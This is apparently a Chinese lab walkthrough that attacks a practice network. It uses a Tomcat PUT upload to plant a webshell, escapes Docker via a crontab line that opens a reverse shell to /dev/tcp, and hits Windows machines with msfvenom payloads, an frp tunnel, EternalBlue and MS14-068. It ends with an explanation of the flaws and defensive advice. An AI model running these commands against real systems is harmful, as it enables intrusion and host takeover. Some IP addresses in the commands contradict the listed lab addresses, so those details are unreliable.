靶场搭建
本文涉及的所有机器的ip:
kali: 192.168.17.128(外网)
win7: 192.168.183.129(内网)
DC: 192.168.183.130(内网)
ubuntu:192.168.17.129(外网) 192.168.183.128(内网)
首先开启环境(ubuntu):
sudo su 提权
docker ps -a看一下开启状态

docker start 把这些全部打开

外网探测
开启kali进行探测存活ip(nmap fscan arp-scan都可以)

探测存活端口发现2001 2002 2003三个端口是开放的

能访问到:

搜索一下看看有没有可复现的过往漏洞
发现存在文件上传漏洞:【Tomcat-8.5.19】文件写入漏洞_tomcat8.5.19漏洞-CSDN博客
一文了解Tomcat/8.5.19文件上传漏洞复现_tomcat8.5.19-CSDN博客
照着这位二师傅的文章进行复现(下面复现的内容上面的两篇文章均包含):
抓包2002页面,把get传参改成put,随便传一个txt,响应是201,说明文件上传可行

冰蝎蚁剑哥斯拉都可以写后门,这里用的哥斯拉来写,将生成的木马使用哥斯拉连接(具体过程上面师傅写的文章里面已经很详细,在此不多赘述)

之后进行docker逃逸,拿到web机器的shell(原理见文末)

看到sda1容量最大,是宿主机完整系统磁盘分区,我们利用他来实现逃逸
运行下面的命令写入定时炸弹(每分钟反弹shell)
mkdir /test
mount /dev/sda1 /test
chroot /test # 这步我并不能成功,可以直接用下面的
/ >echo '* * * * * root bash -c "bash -i >& /dev/tcp/192.168.17.128/5555 0>&1"' >> /test/etc/crontab
开启监听(开启之后等待几十秒自动反弹shell)

内网渗透
永恒之蓝拿下win7
准备把shell迁移到msf:
生成elf文件
msfvenom -p /linux/x64/meterpreter/reverse_tcp LHOST=192.168.57.128 LPORT=6666 -f elf -o shell2.elf
用python开http服务将生成的elf文件上传到ubuntu
chmod u+x给我们上传的文件赋予权限

启动msf
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.17.128
set LPORT 6666
run
成功上线msf

由于要使用永恒之蓝来打,刚需隧道,这里用frp来搭建一个隧道
还是一样的python起一个http服务,把客户端上传给ubuntu,也就是frpc和frpc.ini
注意修改双方的配置文件,保证端口一致:

然后修改frps配置文件

搭建隧道:
在kali运行服务端,在ubuntu运行客户端


开启客户端之后回到服务端发现已经成功连上

修改代理配置文件,这里要保证最后一行的端口和我们的frp端口一致

检查一下隧道是否正常链接:
proxychains4 nc -zv 192.168.183.129 445
隧道通了,隧道+445端口全部通了

打开msf
扫描结果说明存在永恒之蓝漏洞

使用msf自带的永恒之蓝模块打win7
具体命令如下:
search ms17-010
use 0
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.52.134
run
拿下win7!

方法1ms14-068打域控
由于我们是system用户所以可以随意地修改管理员密码,先看一下有什么用户:

net user
net user administrator Admin12345
net user administrator /active:yes
net view

有了管理员密码之后直接远程桌面登录,登录上去之后找线索,这里暗示我们用ms14-068

回去那我们的sid

现在sid和明文密码都有了,生成票据:

把票据注入到内存里面

票据注入成功

然后访问域控

拿下域控!
方法2永恒之蓝打域控:

打完之后拿shell:
bg
sessions
sessions 1
shell

拿下shell!
原理解析
为什么哥斯拉拿到shell了还要进行docker逃逸
拿到容器内shell ≠ 拿到宿主机权限
WebShell仅获取Docker容器内权限,容器存在namespace、文件系统隔离,容器root无法操作宿主机资源。渗透目标为控制宿主机、读取宿主机密钥并横向移动,因此需Docker逃逸突破容器沙箱,获取宿主机完整控制权。
docker逃逸原理:
在本靶场中:
/dev/sda1是宿主机完整系统磁盘分区,包含宿主机全部文件、定时任务、账号配置、系统二进制。容器内挂载该磁盘,等于直接拿到宿主机底层文件读写权限,彻底绕过 Docker Namespace 沙箱隔离。分区容量大代表它是完整宿主机系统盘,而非普通业务数据目录,内部存在
/etc/crontab、/etc/passwd等高价值系统文件,具备逃逸操作的载体。容器内 root 可直接读写挂载的宿主机磁盘:往宿主机定时任务写入反弹 shell,系统会以宿主机 root 权限执行,实现容器跳出沙箱、控制宿主机,完成 Docker 逃逸。
若只是小容量数据分区,仅存放业务文件,无系统调度配置,无法写入持久化提权命令,不具备逃逸条件。
永恒之蓝原理:
永恒之蓝(EternalBlue) 是针对 Windows SMBv1 漏洞族 MS17-010 的一套远程利用方式。
它的核心原理可以简单理解为:
攻击者通过
445端口和目标机器的SMBv1服务通信。向目标发送“特制”的 SMB 请求包。
Windows 内核里的 SMB 处理代码在解析这些数据时,长度校验和内存处理有缺陷。
结果会造成内核内存破坏,常见表现是缓冲区越界写入。
攻击者就可能借此在目标机器上直接执行代码,而且权限通常很高,接近
SYSTEM。
它为什么危险:
不需要先登录目标
走的是局域网里很常见的 SMB 文件共享协议
漏洞点在内核层,拿到的权限高
可以自动横向传播,所以像
WannaCry这类蠕虫传播特别快
“Windows 在处理某类 SMB 文件共享请求时,错误地把一段恶意数据当成正常数据去分配和写入内存,最后让攻击者把自己的代码塞进系统内核执行。”
常见防护思路:
安装
MS17-010补丁禁用
SMBv1阻断或限制
445端口做内网分段,避免横向传播